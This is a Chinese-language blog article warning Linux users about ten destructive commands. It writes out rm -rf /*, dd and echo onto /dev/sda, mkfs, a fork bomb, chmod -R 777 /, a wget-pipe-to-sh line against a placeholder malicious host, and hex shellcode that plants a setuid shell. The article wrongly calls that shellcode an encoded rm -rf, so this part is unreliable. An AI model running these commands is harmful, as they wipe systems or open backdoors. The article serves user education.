什么是最危險(xiǎn)的 Linux 命令?
有人無(wú)數(shù)次問(wèn)我這個(gè)問(wèn)題,我一直避免回答,因?yàn)闆](méi)有一個(gè)明確的危險(xiǎn)的 Linux 命令清單。
你擁有的工具使你能夠控制和修改你的操作系統(tǒng)的每一個(gè)方面。我不是想嚇唬你,但如果你不熟悉這些命令和工具,你可以很容易地把你的系統(tǒng)摧毀。
想象一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應(yīng)允許孩子離開(kāi)嬰兒床?那會(huì)對(duì)她的成長(zhǎng)造成損害。
這就是父母設(shè)定界限和引導(dǎo)孩子的地方。不要靠近火堆,不要把手指戳到電源插座上……隨著孩子的成長(zhǎng)和經(jīng)驗(yàn)的積累,她可以把爐子打開(kāi),在壁爐里生火,插上電源線。
同樣,如果你知道一些已知的風(fēng)險(xiǎn)命令,你可能會(huì)避免落入巨魔的陷阱,他們?cè)噲D欺騙你運(yùn)行命令,擾亂你的系統(tǒng)。
當(dāng)你積累了經(jīng)驗(yàn),知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統(tǒng)的機(jī)會(huì)就會(huì)減少。
我的同事 Sreenath 收集了一些流行的危險(xiǎn) Linux 命令。讓我們看看它們是如何干掉你的 Linux 系統(tǒng)的。
免責(zé)警告:如果你不清楚你在做什么,請(qǐng)勿嘗試本文提及的這些命令,否則后果自負(fù)。
1、rm -rf /*
這個(gè)可能是在各種社交媒體上盤(pán)旋的最臭名昭著的命令。你會(huì)經(jīng)常發(fā)現(xiàn)巨魔們?cè)诟鞣N討論中提及這個(gè)。
rm 命令用來(lái)刪除文件/目錄。標(biāo)志-r和-f表示遞歸地刪除指定目錄內(nèi)的所有文件。現(xiàn)在,如果沒(méi)有 root 權(quán)限,這個(gè)命令不會(huì)造成任何傷害。
運(yùn)行sudo rm -rf / itsfoss.com命令也不會(huì)產(chǎn)生任何問(wèn)題,因?yàn)榇蠖鄶?shù)發(fā)行版提供了一個(gè)故障安全選項(xiàng)。你需要指定--no-preserve-root才能實(shí)際運(yùn)行它。
sudo rm -rf / --no-preserve-root
然而,一個(gè)更簡(jiǎn)單的版本可以是這樣的:
sudo rm -rf /*
它將開(kāi)始遞歸地刪除根目錄下的所有文件,在一段時(shí)間后,你的系統(tǒng)會(huì)凍結(jié),并顯示“刪除文件錯(cuò)誤”。一旦重新啟動(dòng),你將被送到grub-rescue提示符下。
2、覆蓋你的分區(qū)
如果你熟悉文件系統(tǒng),你可能知道/dev/sda是什么。它(通常)是你的磁盤(pán)驅(qū)動(dòng)器分區(qū)。>操作符用于將其前面的命令的輸出寫(xiě)到所提供的指定位置。
一旦你運(yùn)行任何命令并把它寫(xiě)到/dev/sda,比如說(shuō):
echo "Hello" > /dev/sda
這將用Hello字符串替換你的包含啟動(dòng)系統(tǒng)所需的所有數(shù)據(jù)的分區(qū)。
3、把所有的東西都移到黑洞
每個(gè) Linux 系統(tǒng)內(nèi)都有一個(gè)黑洞。而這個(gè)黑洞就是/dev/null。
無(wú)論你把什么東西扔進(jìn)這個(gè)區(qū)域都會(huì)永遠(yuǎn)丟失。而且,它在丟棄數(shù)據(jù)后會(huì)將寫(xiě)入過(guò)程報(bào)告為成功,這是其破壞性的主要原因。
mv /home/user/* /dev/null
mv 命令 linuxhandbook.com用來(lái)移動(dòng)或重命名文件/目錄。在上面的命令中,你把家目錄內(nèi)的所有文件都移到了黑洞中。雖然根系統(tǒng)沒(méi)有被破壞,但你所有的個(gè)人數(shù)據(jù)都會(huì)丟失。
4、格式化你的硬盤(pán)
mkfs linuxhandbook.com是一個(gè)命令行工具,用于格式化磁盤(pán)和分區(qū)。它是一個(gè)超級(jí)方便的工具,可以為安裝的操作系統(tǒng)創(chuàng)建分區(qū)。但同樣的命令也可以格式化你的硬盤(pán)。格式化你的驅(qū)動(dòng)器意味著刪除系統(tǒng)啟動(dòng)所需的所有文件。
mkfs.ext3 /dev/sda
這個(gè)命令完成了它的工作,而你最終得到了一個(gè)無(wú)法恢復(fù)的混亂的系統(tǒng)。
5、fork 炸彈
這個(gè)看起來(lái)很可愛(ài)的特殊字符和符號(hào)的隨機(jī)組合,足以通過(guò)耗盡系統(tǒng)資源來(lái)凍結(jié)一個(gè)正在運(yùn)行的系統(tǒng)。
:(){ :|:& };:
&- Shell 后臺(tái)操作符。它通知 Shell 將命令放在后臺(tái)。在這里,它定義了一個(gè)叫做:的函數(shù),它調(diào)用自己兩次,一次在前臺(tái),一次在后臺(tái)。這個(gè)過(guò)程不斷地重復(fù)執(zhí)行,直到系統(tǒng)凍結(jié)。
顧名思義,它自己分叉,最終成為一個(gè)連鎖炸彈,吃掉了所有的系統(tǒng)資源。你將被迫重啟系統(tǒng),這并不像本列表中的其他命令那樣糟糕。
6、覆蓋重要的配置文件
雖然這本身不是一個(gè)命令,但它更像是一個(gè)預(yù)防性的東西。
如上所述,>操作符是用來(lái)向文件寫(xiě)入的。它丟棄文件中已經(jīng)存在的東西,并將提供的新數(shù)據(jù)寫(xiě)入文件中。
command > config_filename
現(xiàn)在,如果你將一些重要的配置文件作為寫(xiě)數(shù)據(jù)的地方,它將被取代內(nèi)容,留下一個(gè)損壞的系統(tǒng)。
7、用垃圾數(shù)據(jù)替換分區(qū)
/dev/random是 Linux 中的一個(gè)命令,它可以創(chuàng)建垃圾數(shù)據(jù)。把它和dd 命令 linuxhandbook.com以及你的分區(qū)結(jié)合起來(lái),你就得到了一個(gè)可以讓你的分區(qū)著火的燃燒彈。
dd if=/dev/random of=/dev/sda
dd 命令被用作一個(gè)低級(jí)別的復(fù)制工具。這里,它從/dev/random中獲取隨機(jī)數(shù)據(jù),并用這些垃圾替換/dev/sda分區(qū)。
一個(gè)類似的效果是通過(guò)以下方式獲得的:
cat /dev/urandom > filename
這里,它從/dev/urandom(LCTT 譯注:在 Linux 上,/dev/urandom現(xiàn)在和/dev/random的等價(jià)的 )中獲取垃圾數(shù)據(jù)并填入一個(gè)文件。如果不使用Ctrl + C終止,該文件會(huì)占據(jù)相當(dāng)大的空間,這對(duì)低端系統(tǒng)來(lái)說(shuō)可能是災(zāi)難性的。
8、將你的系統(tǒng)暴露給所有人
在 Linux 中,所有東西都是文件,每個(gè)文件都有一定的權(quán)限 linuxhandbook.com。
你可以用 ls -l 查看權(quán)限。根文件系統(tǒng)是不允許其他沒(méi)有權(quán)限的用戶訪問(wèn)的。雖然這保證了系統(tǒng)的私密性和安全性,但你可以用一個(gè)命令顛覆這個(gè)系統(tǒng)。
chmod -R 777 /
上述命令將根分區(qū)上的所有文件暴露給所有人。這意味著每個(gè)使用該系統(tǒng)的人都有讀、寫(xiě)和執(zhí)行的權(quán)限。這對(duì)你的系統(tǒng)是不利的。
9、下載并運(yùn)行惡意的內(nèi)容
你如何在 Linux 中安裝軟件?你可以使用官方的軟件包管理器或隨時(shí)可以使用的軟件包,如 Deb/RPM、Snap、Flatpak 等。
然而,有些軟件是沒(méi)有打包的,它們的開(kāi)發(fā)者提供了下載和運(yùn)行的 Shell 腳本。以Homebrew itsfoss.com為例:
你下載一個(gè) Shell 文件,然后以 root 身份運(yùn)行它,在你的系統(tǒng)中安裝一個(gè)軟件。你看出問(wèn)題了嗎?
雖然它對(duì) Homebrew 這樣的官方軟件有效,但在你像下面這樣直接運(yùn)行它之前,你應(yīng)該仔細(xì)檢查你所下載的 Shell 腳本的內(nèi)容:
wget http://malicious_source -O- | sh
這樣的命令會(huì)在你的系統(tǒng)中下載并運(yùn)行惡意腳本,這可能會(huì)破壞你的系統(tǒng)的安全性。
10、偽裝的命令
在 Linux 終端中,有許多方法可以運(yùn)行命令。其中一種方式是十六進(jìn)制編碼的命令:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
雖然它看起來(lái)很花哨,但這是 rm -rf 命令的一個(gè)編碼版本。它的效果與運(yùn)行前面的命令相同。因此,在從互聯(lián)網(wǎng)上復(fù)制和粘貼這些花哨的命令時(shí),要小心謹(jǐn)慎。
總結(jié)
pebkac
有一個(gè)著名的計(jì)算機(jī)術(shù)語(yǔ) PEBKAC:“問(wèn)題存在于鍵盤(pán)和椅子之間(problem exists between keyboard and chair)”。
因?yàn)闅w根結(jié)底,還是要靠用戶(你)來(lái)保證你不會(huì)因?yàn)槊つ康剡\(yùn)行任何危險(xiǎn)的命令而破壞系統(tǒng)。
UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那么 UNIX 的工作就是以它所知道的最有效的方式將石頭砸到腳上。
而這句話同樣適用于 Linux。你可以完全控制你的操作系統(tǒng)。你選擇做什么,完全取決于你。
我建議做這些事情以確保更安全的體驗(yàn)。
?嘗試并理解你將要運(yùn)行的命令。 ?用 Timeshift 保持你的系統(tǒng)設(shè)置的備份 ?用 DejaDup 保持個(gè)人數(shù)據(jù)(主目錄)的備份
正如我所說(shuō),沒(méi)有固定的危險(xiǎn) Linux 命令清單。還有很多可以添加到這個(gè)列表中,而且根本沒(méi)有盡頭。
我希望這能給你一些提示,告訴你為了保持 Linux 的安全,你不應(yīng)該做什么。如果你有建議,請(qǐng)?jiān)谠u(píng)論區(qū)告訴我。
-
驅(qū)動(dòng)器
+關(guān)注
關(guān)注
53文章
8261瀏覽量
146670 -
Linux
+關(guān)注
關(guān)注
87文章
11324瀏覽量
209938 -
電源線
+關(guān)注
關(guān)注
1文章
369瀏覽量
21842
原文標(biāo)題:10 大可以摧毀你的 Linux 的命令
文章出處:【微信號(hào):良許Linux,微信公眾號(hào):良許Linux】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論